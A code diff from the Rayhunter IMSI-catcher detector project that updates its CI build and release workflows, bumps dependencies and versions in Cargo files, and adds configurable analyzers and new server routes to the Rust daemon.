run: |
cd installer
NO_FIRMWARE_BIN=true cargo check --verbose
- name: cargo test
shell: bash
run: |
cd installer
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
build_rayhunter_check:
if: needs.files_changed.outputs.daemon_changed != '0'
needs:
- check_and_test
- files_changed
permissions:
contents: read
packages: write
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: Build rayhunter-check
run: cargo build --bin rayhunter-check --release
- uses: actions/upload-artifact@v4
with:
name: rayhunter-check-${{ matrix.platform.name }}
path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_rootshell:
if: needs.files_changed.outputs.rootshell_changed != '0'
needs:
- check_and_test
- files_changed
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Build rootshell (arm32)
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
- uses: actions/upload-artifact@v4
with:
name: rootshell
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
if-no-files-found: error
build_rayhunter:
if: needs.files_changed.outputs.daemon_changed != '0'
needs:
- check_and_test
- files_changed
permissions:
contents: read
packages: write
strategy:
matrix:
device:
- name: orbic
- name: tplink
- name: wingtech
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Build rayhunter-daemon (arm32)
run: |
pushd bin/web
npm install
npm run build
popd
# Run with -p so that cargo will select the minimum feature set for this package.
#
# Otherwise, it will consider the union of all requested features
# from all packages in the workspace. For example, if installer
# requires tokio with "full" feature, it will be included no matter
# what the feature selection in rayhunter-daemon is.
#
# https://github.com/rust-lang/cargo/issues/4463
cargo build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile=firmware --no-default-features --features ${{ matrix.device.name }}
- uses: actions/upload-artifact@v4
with:
name: rayhunter-daemon-${{ matrix.device.name }}
path: target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon
if-no-files-found: error
build_rust_installer:
if: needs.files_changed.outputs.installer_changed != '0'
permissions:
contents: read
packages: write
needs:
- build_rayhunter
- build_rootshell
- files_changed
- windows_installer_check_and_test
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- uses: Swatinem/rust-cache@v2
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: installer-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_release_zip:
permissions:
contents: read
packages: write
needs:
- build_rayhunter_check
- build_rootshell
- build_rayhunter
- build_rust_installer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- name: Fix executable permissions on binaries
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
- name: Get Rayhunter version
id: get_version
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
- name: Setup versioned release directory
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
mkdir "$VERSIONED_DIR"
mv rayhunter-daemon-* rootshell/rootshell installer-* dist/* installer/install.ps1 "$VERSIONED_DIR"/
- name: Archive release directory as zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
- name: Compute SHA256 of zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
# TODO: have this create a release directly
- name: Upload zip release and sha256
uses: actions/upload-artifact@v4
with:
name: rayhunter-v${{ env.VERSION }}
path: |
rayhunter-v${{ env.VERSION }}.zip
rayhunter-v${{ env.VERSION }}.zip.sha256
if-no-files-found: error
-47
View File
@@ -1,47 +0,0 @@
# On Repository Settings > Pages > Build and deployment
# Set "Source" to GitHub Actions.
name: Documentation
on:
push:
branches: ["main"]
pull_request:
branches: ["main"]
jobs:
mdbook_test:
name: Test mdBook Documentation builds
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
if: ${{ github.event_name != 'pull_request' }}
needs: mdbook_test
permissions:
pages: write
contents: write
id-token: write
name: Publish mdBook to Github Pages
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
+48
View File
@@ -0,0 +1,48 @@
# To use: navigate on Github to Actions, select "Release rayhunter" on the left, click "Run workflow" > "Run workflow" on the right.
# https://github.com/EFForg/rayhunter/actions/workflows/release.yml
name: Release rayhunter
on:
workflow_dispatch:
env:
GH_TOKEN: ${{ github.token }}
jobs:
check_version_same:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- name: Ensure all Cargo.toml files have the same version defined.
run: |
defined_versions=$(find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \; | sort -u | wc -l)
find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \;
echo number of defined versions = $defined_versions
if [ $defined_versions != "1" ]
then
echo "all Cargo.toml files must have the same version defined"
exit 1
fi
main:
needs: check_version_same
permissions:
contents: write
id-token: write
packages: write
pages: write
uses: ./.github/workflows/main.yml
release:
runs-on: ubuntu-latest
needs: main
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- name: Create release
run: |
version=$(grep ^version lib/Cargo.toml | cut -d' ' -f3 | tr -d '"')
gh release create --generate-notes -t "Rayhunter v$version" "v$version" rayhunter-v${version}/rayhunter-*
+1
View File
@@ -1,2 +1,3 @@
/target /target
/book /book
.DS_Store
Generated
+143 -35
View File
@@ -5,7 +5,7 @@ version = 4
[[package]] [[package]]
name = "adb_client" name = "adb_client"
version = "2.1.11" version = "2.1.11"
source = "git+https://github.com/gaykitty/adb_client.git?rev=1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81#1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" source = "git+https://github.com/EFForg/adb_client.git?rev=e511662394e4fa32865c154c40f81a3d846f700c#e511662394e4fa32865c154c40f81a3d846f700c"
dependencies = [ dependencies = [
"async-io", "async-io",
"base64", "base64",
@@ -46,6 +46,17 @@ version = "2.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]] [[package]]
name = "aho-corasick" name = "aho-corasick"
version = "1.1.3" version = "1.1.3"
@@ -157,9 +168,8 @@ checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50"
[[package]] [[package]]
name = "asn1-codecs" name = "asn1-codecs"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "5e4ed1fe0647213e739f7ea78f50d3d0f6f9bef7285f6d8672aaca8365decfc3"
dependencies = [ dependencies = [
"bitvec", "bitvec",
"log", "log",
@@ -169,13 +179,13 @@ dependencies = [
[[package]] [[package]]
name = "asn1-compiler" name = "asn1-compiler"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "b1d056f38f3e98ffe9808e6a482d1527e4ded46e72b3dbe77305f5508e76c5f6"
dependencies = [ dependencies = [
"anyhow",
"bitvec", "bitvec",
"clap", "clap",
"env_logger", "env_logger 0.10.2",
"heck 0.4.1", "heck 0.4.1",
"lazy_static", "lazy_static",
"log", "log",
@@ -187,9 +197,8 @@ dependencies = [
[[package]] [[package]]
name = "asn1_codecs_derive" name = "asn1_codecs_derive"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "394acf8791d3d345ed71e2e820355c9f8ad4202a99b97e59fb7b6595b18f28cd"
dependencies = [ dependencies = [
"asn1-codecs", "asn1-codecs",
"bitvec", "bitvec",
@@ -240,6 +249,20 @@ dependencies = [
"syn 2.0.101", "syn 2.0.101",
] ]
[[package]]
name = "async_zip"
version = "0.0.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "00b9f7252833d5ed4b00aa9604b563529dd5e11de9c23615de2dcdf91eb87b52"
dependencies = [
"crc32fast",
"futures-lite",
"pin-project",
"thiserror 1.0.69",
"tokio",
"tokio-util",
]
[[package]] [[package]]
name = "atomic-waker" name = "atomic-waker"
version = "1.1.2" version = "1.1.2"
@@ -350,6 +373,12 @@ version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]]
name = "base64_light"
version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8c6aca08f76b8485947a20a1b3096e5a8cd6edbcecc6d2a8932df9b41d36aadf"
[[package]] [[package]]
name = "base64ct" name = "base64ct"
version = "1.7.3" version = "1.7.3"
@@ -411,6 +440,15 @@ dependencies = [
"generic-array", "generic-array",
] ]
[[package]]
name = "block-padding"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
dependencies = [
"generic-array",
]
[[package]] [[package]]
name = "built" name = "built"
version = "0.7.7" version = "0.7.7"
@@ -504,6 +542,16 @@ dependencies = [
"windows-link", "windows-link",
] ]
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]] [[package]]
name = "clap" name = "clap"
version = "4.5.38" version = "4.5.38"
@@ -791,6 +839,16 @@ version = "1.15.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
[[package]]
name = "env_filter"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0"
dependencies = [
"log",
"regex",
]
[[package]] [[package]]
name = "env_logger" name = "env_logger"
version = "0.10.2" version = "0.10.2"
@@ -804,6 +862,19 @@ dependencies = [
"termcolor", "termcolor",
] ]
[[package]]
name = "env_logger"
version = "0.11.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13c863f0904021b108aa8b2f55046443e6b1ebde8fd4a15c399893aae4fa069f"
dependencies = [
"anstream",
"anstyle",
"env_filter",
"jiff",
"log",
]
[[package]] [[package]]
name = "equivalent" name = "equivalent"
version = "1.0.2" version = "1.0.2"
@@ -921,7 +992,6 @@ checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876"
dependencies = [ dependencies = [
"futures-channel", "futures-channel",
"futures-core", "futures-core",
"futures-executor",
"futures-io", "futures-io",
"futures-sink", "futures-sink",
"futures-task", "futures-task",
@@ -944,17 +1014,6 @@ version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
[[package]]
name = "futures-executor"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f"
dependencies = [
"futures-core",
"futures-task",
"futures-util",
]
[[package]] [[package]]
name = "futures-io" name = "futures-io"
version = "0.3.31" version = "0.3.31"
@@ -1003,13 +1062,10 @@ version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
dependencies = [ dependencies = [
"futures-channel",
"futures-core", "futures-core",
"futures-io",
"futures-macro", "futures-macro",
"futures-sink", "futures-sink",
"futures-task", "futures-task",
"memchr",
"pin-project-lite", "pin-project-lite",
"pin-utils", "pin-utils",
"slab", "slab",
@@ -1423,15 +1479,28 @@ dependencies = [
"hashbrown", "hashbrown",
] ]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]] [[package]]
name = "installer" name = "installer"
version = "0.3.0" version = "0.4.0"
dependencies = [ dependencies = [
"adb_client", "adb_client",
"aes",
"anyhow", "anyhow",
"axum", "axum",
"base64_light",
"block-padding",
"bytes", "bytes",
"clap", "clap",
"env_logger 0.11.8",
"hyper", "hyper",
"hyper-util", "hyper-util",
"md5", "md5",
@@ -1503,6 +1572,30 @@ version = "1.0.15"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
[[package]]
name = "jiff"
version = "0.2.13"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f02000660d30638906021176af16b17498bd0d12813dbfe7b276d8bc7f3c0806"
dependencies = [
"jiff-static",
"log",
"portable-atomic",
"portable-atomic-util",
"serde",
]
[[package]]
name = "jiff-static"
version = "0.2.13"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f3c30758ddd7188629c6713fc45d1188af4f44c90582311d0c8d8c9907f60c48"
dependencies = [
"proc-macro2",
"quote",
"syn 2.0.101",
]
[[package]] [[package]]
name = "jobserver" name = "jobserver"
version = "0.1.33" version = "0.1.33"
@@ -2051,6 +2144,21 @@ dependencies = [
"windows-sys 0.59.0", "windows-sys 0.59.0",
] ]
[[package]]
name = "portable-atomic"
version = "1.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
[[package]]
name = "portable-atomic-util"
version = "0.2.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d8a2f0d8d040d7848a709caf78912debcc3f33ee4b3cac47d73d1e1069e83507"
dependencies = [
"portable-atomic",
]
[[package]] [[package]]
name = "potential_utf" name = "potential_utf"
version = "0.1.2" version = "0.1.2"
@@ -2259,15 +2367,13 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter" name = "rayhunter"
version = "0.3.0" version = "0.4.0"
dependencies = [ dependencies = [
"bytes", "bytes",
"chrono", "chrono",
"crc", "crc",
"deku", "deku",
"env_logger",
"futures", "futures",
"futures-core",
"libc", "libc",
"log", "log",
"nix", "nix",
@@ -2280,14 +2386,15 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.3.0" version = "0.4.0"
dependencies = [ dependencies = [
"anyhow",
"async_zip",
"axum", "axum",
"chrono", "chrono",
"clap", "clap",
"env_logger", "env_logger 0.11.8",
"futures", "futures",
"futures-core",
"futures-macro", "futures-macro",
"image", "image",
"include_dir", "include_dir",
@@ -2408,7 +2515,7 @@ checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a"
[[package]] [[package]]
name = "rootshell" name = "rootshell"
version = "0.3.0" version = "0.4.0"
dependencies = [ dependencies = [
"nix", "nix",
] ]
@@ -2781,7 +2888,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
[[package]] [[package]]
name = "telcom-parser" name = "telcom-parser"
version = "0.3.0" version = "0.4.0"
dependencies = [ dependencies = [
"asn1-codecs", "asn1-codecs",
"asn1-compiler", "asn1-compiler",
@@ -2976,6 +3083,7 @@ checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df"
dependencies = [ dependencies = [
"bytes", "bytes",
"futures-core", "futures-core",
"futures-io",
"futures-sink", "futures-sink",
"futures-util", "futures-util",
"hashbrown", "hashbrown",
+1 -1
View File
@@ -2,6 +2,6 @@
# Rayhunter # Rayhunter
![Tests](https://github.com/EFForg/rayhunter/actions/workflows/check-and-test.yml/badge.svg) ![Tests](https://github.com/EFForg/rayhunter/actions/workflows/main.yml/badge.svg)
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/). Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
+10 -8
View File
@@ -1,12 +1,13 @@
[package] [package]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.3.0" version = "0.4.0"
edition = "2021" edition = "2021"
[features] [features]
# These feature flags are mutually exclusive, and exactly one must be enabled. # These feature flags are mutually exclusive, and exactly one must be enabled.
orbic = ["rayhunter/orbic"] orbic = ["rayhunter/orbic"]
tplink = ["rayhunter/tplink"] tplink = ["rayhunter/tplink"]
wingtech = ["rayhunter/wingtech"]
default = ["orbic"] default = ["orbic"]
@@ -22,22 +23,23 @@ path = "src/check.rs"
rayhunter = { path = "../lib" } rayhunter = { path = "../lib" }
toml = "0.8.8" toml = "0.8.8"
serde = { version = "1.0.193", features = ["derive"] } serde = { version = "1.0.193", features = ["derive"] }
tokio = { version = "1.44.2", features = ["full"] } tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt-multi-thread"] }
axum = "0.8" axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json"] }
futures-core = "0.3.30"
thiserror = "1.0.52" thiserror = "1.0.52"
libc = "0.2.150" libc = "0.2.150"
log = "0.4.20" log = "0.4.20"
env_logger = "0.10.1" env_logger = { version = "0.11", default-features = false }
tokio-util = { version = "0.7.10", features = ["rt", "io"] } tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
futures-macro = "0.3.30" futures-macro = "0.3.30"
include_dir = "0.7.3" include_dir = "0.7.3"
mime_guess = "2.0.4" mime_guess = "2.0.4"
chrono = { version = "0.4.31", features = ["serde"] } chrono = { version = "0.4.31", features = ["serde"] }
tokio-stream = "0.1.14" tokio-stream = { version = "0.1.14", default-features = false }
futures = "0.3.30" futures = { version = "0.3.30", default-features = false }
clap = { version = "4.5.2", features = ["derive"] } clap = { version = "4.5.2", features = ["derive"] }
serde_json = "1.0.114" serde_json = "1.0.114"
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] } image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
tempfile = "3.10.1" tempfile = "3.10.1"
simple_logger = "5.0.0" simple_logger = "5.0.0"
async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98"
+20 -9
View File
@@ -8,7 +8,7 @@ use axum::{
}; };
use futures::TryStreamExt; use futures::TryStreamExt;
use log::{debug, error, info}; use log::{debug, error, info};
use rayhunter::analysis::analyzer::Harness; use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
use rayhunter::diag::{DataType, MessagesContainer}; use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::qmdl::QmdlReader; use rayhunter::qmdl::QmdlReader;
use serde::Serialize; use serde::Serialize;
@@ -35,8 +35,12 @@ pub struct AnalysisWriter {
// lets us simply append new rows to the end without parsing the entire JSON // lets us simply append new rows to the end without parsing the entire JSON
// object beforehand. // object beforehand.
impl AnalysisWriter { impl AnalysisWriter {
pub async fn new(file: File, enable_dummy_analyzer: bool) -> Result<Self, std::io::Error> { pub async fn new(
let mut harness = Harness::new_with_all_analyzers(); file: File,
enable_dummy_analyzer: bool,
analyzer_config: &AnalyzerConfig,
) -> Result<Self, std::io::Error> {
let mut harness = Harness::new_with_config(analyzer_config);
if enable_dummy_analyzer { if enable_dummy_analyzer {
harness.add_analyzer(Box::new(TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(TestAnalyzer { count: 0 }));
} }
@@ -131,6 +135,7 @@ async fn perform_analysis(
name: &str, name: &str,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: &AnalyzerConfig,
) -> Result<(), String> { ) -> Result<(), String> {
info!("Opening QMDL and analysis file for {}...", name); info!("Opening QMDL and analysis file for {}...", name);
let (analysis_file, qmdl_file, entry_index) = { let (analysis_file, qmdl_file, entry_index) = {
@@ -150,9 +155,10 @@ async fn perform_analysis(
(analysis_file, qmdl_file, entry_index) (analysis_file, qmdl_file, entry_index)
}; };
let mut analysis_writer = AnalysisWriter::new(analysis_file, enable_dummy_analyzer) let mut analysis_writer =
.await AnalysisWriter::new(analysis_file, enable_dummy_analyzer, analyzer_config)
.map_err(|e| format!("{:?}", e))?; .await
.map_err(|e| format!("{:?}", e))?;
let file_size = qmdl_file let file_size = qmdl_file
.metadata() .metadata()
.await .await
@@ -196,6 +202,7 @@ pub fn run_analysis_thread(
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_status_lock: Arc<RwLock<AnalysisStatus>>, analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: AnalyzerConfig,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
loop { loop {
@@ -204,9 +211,13 @@ pub fn run_analysis_thread(
let count = queued_len(analysis_status_lock.clone()).await; let count = queued_len(analysis_status_lock.clone()).await;
for _ in 0..count { for _ in 0..count {
let name = dequeue_to_running(analysis_status_lock.clone()).await; let name = dequeue_to_running(analysis_status_lock.clone()).await;
if let Err(err) = if let Err(err) = perform_analysis(
perform_analysis(&name, qmdl_store_lock.clone(), enable_dummy_analyzer) &name,
.await qmdl_store_lock.clone(),
enable_dummy_analyzer,
&analyzer_config,
)
.await
{ {
error!("failed to analyze {}: {}", name, err); error!("failed to analyze {}: {}", name, err);
} }
+5 -3
View File
@@ -2,7 +2,7 @@ use clap::Parser;
use futures::TryStreamExt; use futures::TryStreamExt;
use log::{info, warn}; use log::{info, warn};
use rayhunter::{ use rayhunter::{
analysis::analyzer::{EventType, Harness}, analysis::analyzer::{AnalyzerConfig, EventType, Harness},
diag::DataType, diag::DataType,
gsmtap_parser, gsmtap_parser,
pcap::GsmtapPcapWriter, pcap::GsmtapPcapWriter,
@@ -33,7 +33,7 @@ struct Args {
} }
async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) { async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) {
let mut harness = Harness::new_with_all_analyzers(); let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
if enable_dummy_analyzer { if enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
} }
@@ -137,11 +137,13 @@ async fn main() {
.with_colors(true) .with_colors(true)
.without_timestamps() .without_timestamps()
.with_level(level) .with_level(level)
//Filter out a stupid massive amount of uneccesary warnings from hampi about undecoded extensions
.with_module_level("asn1_codecs", log::LevelFilter::Error)
.init() .init()
.unwrap(); .unwrap();
info!("Analyzers:"); info!("Analyzers:");
let mut harness = Harness::new_with_all_analyzers(); let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
if args.enable_dummy_analyzer { if args.enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
} }
+11 -5
View File
@@ -1,8 +1,10 @@
use serde::{Deserialize, Serialize};
use rayhunter::analysis::analyzer::AnalyzerConfig;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use serde::Deserialize; #[derive(Debug, Clone, Deserialize, Serialize)]
#[derive(Debug, Deserialize)]
#[serde(default)] #[serde(default)]
pub struct Config { pub struct Config {
pub qmdl_store_path: String, pub qmdl_store_path: String,
@@ -11,6 +13,8 @@ pub struct Config {
pub ui_level: u8, pub ui_level: u8,
pub enable_dummy_analyzer: bool, pub enable_dummy_analyzer: bool,
pub colorblind_mode: bool, pub colorblind_mode: bool,
pub key_input_mode: u8,
pub analyzers: AnalyzerConfig,
} }
impl Default for Config { impl Default for Config {
@@ -22,15 +26,17 @@ impl Default for Config {
ui_level: 1, ui_level: 1,
enable_dummy_analyzer: false, enable_dummy_analyzer: false,
colorblind_mode: false, colorblind_mode: false,
key_input_mode: 0,
analyzers: AnalyzerConfig::default(),
} }
} }
} }
pub fn parse_config<P>(path: P) -> Result<Config, RayhunterError> pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
where where
P: AsRef<std::path::Path>, P: AsRef<std::path::Path>,
{ {
if let Ok(config_file) = std::fs::read_to_string(&path) { if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?) Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
} else { } else {
Ok(Config::default()) Ok(Config::default())
+99 -45
View File
@@ -4,18 +4,23 @@ mod diag;
mod display; mod display;
mod dummy_analyzer; mod dummy_analyzer;
mod error; mod error;
mod key_input;
mod pcap; mod pcap;
mod qmdl_store; mod qmdl_store;
mod server; mod server;
mod stats; mod stats;
use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use crate::config::{parse_args, parse_config}; use crate::config::{parse_args, parse_config};
use crate::diag::run_diag_read_thread; use crate::diag::run_diag_read_thread;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use crate::pcap::get_pcap; use crate::pcap::get_pcap;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::server::{get_qmdl, serve_static, ServerState}; use crate::server::{get_config, get_qmdl, get_zip, serve_static, set_config, ServerState};
use crate::stats::get_system_stats; use crate::stats::{get_qmdl_manifest, get_system_stats};
use analysis::{ use analysis::{
get_analysis_status, run_analysis_thread, start_analysis, AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis, AnalysisCtrlMessage, AnalysisStatus,
@@ -30,10 +35,8 @@ use diag::{
use log::{error, info}; use log::{error, info};
use qmdl_store::RecordingStoreError; use qmdl_store::RecordingStoreError;
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use stats::get_qmdl_manifest;
use std::net::SocketAddr;
use std::sync::Arc;
use tokio::net::TcpListener; use tokio::net::TcpListener;
use tokio::select;
use tokio::sync::mpsc::{self, Sender}; use tokio::sync::mpsc::{self, Sender};
